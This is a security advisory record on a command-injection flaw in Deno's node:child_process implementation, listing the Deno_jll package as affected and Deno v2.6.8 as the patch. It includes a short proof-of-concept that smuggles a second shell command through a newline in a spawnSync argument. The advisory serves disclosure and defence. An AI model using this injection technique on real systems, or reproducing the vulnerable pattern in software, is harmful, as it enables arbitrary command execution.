JLSEC-2026-116

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Source
https://github.com/JuliaLang/SecurityAdvisories.jl/blob/main/advisories/published/2026/JLSEC-2026-116.md
Import Source
https://github.com/JuliaLang/SecurityAdvisories.jl/tree/generated/osv/2026/JLSEC-2026-116.json
JSON Data
https://api.osv.dev/v1/vulns/JLSEC-2026-116
Upstream
  • EUVD-2026-7794
Published
2026-04-14T13:10:46.494Z
Modified
2026-04-14T13:31:35.469612454Z
Severity
  • 8.1 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process
Details

Summary

A command injection vulnerability exists in Deno's node:child_process implementation.

Reproduction

import { spawnSync } from "node:child_process";
import * as fs from "node:fs";

// Cleanup
try { fs.unlinkSync('/tmp/rce_proof'); } catch {}

// Create legitimate script
fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');

// Malicious input with newline injection
const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`;

// Vulnerable pattern
spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {
  shell: true,
  encoding: 'utf-8'
});

// Verify
console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));

Run: deno run --allow-all poc.mjs

The file /tmp/rce_proof is created, confirming arbitrary command execution.

Mitigation

All users need to update to the patched version (Deno v2.6.8).

Database specific 
{
    "sources": [
        {
            "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-27190",
            "html_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27190",
            "modified": "2026-03-02T13:35:52.260Z",
            "id": "CVE-2026-27190",
            "imported": "2026-04-14T12:58:55.203Z",
            "published": "2026-02-20T21:19:28.090Z"
        },
        {
            "url": "https://api.github.com/advisories/GHSA-hmh4-3xvx-q5hr",
            "html_url": "https://github.com/advisories/GHSA-hmh4-3xvx-q5hr",
            "modified": "2026-02-20T22:20:05Z",
            "id": "GHSA-hmh4-3xvx-q5hr",
            "imported": "2026-04-14T12:58:59.239Z",
            "published": "2026-02-19T20:31:41Z"
        },
        {
            "url": "https://euvdservices.enisa.europa.eu/api/enisaid?id=EUVD-2026-7794",
            "html_url": "https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-7794",
            "modified": "2026-02-24T18:30:43Z",
            "id": "EUVD-2026-7794",
            "imported": "2026-04-14T12:58:57.054Z",
            "published": "2026-02-20T20:52:11Z"
        }
    ],
    "license": "CC-BY-4.0"
}
References
Credits

Affected packages

Julia / Deno_jll

Package

Name
Deno_jll
Purl
pkg:julia/Deno_jll?uuid=04572ae6-984a-583e-9378-9577a1c2574d

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.6.10+0

Database specific

source 
"https://github.com/JuliaLang/SecurityAdvisories.jl/tree/generated/osv/2026/JLSEC-2026-116.json"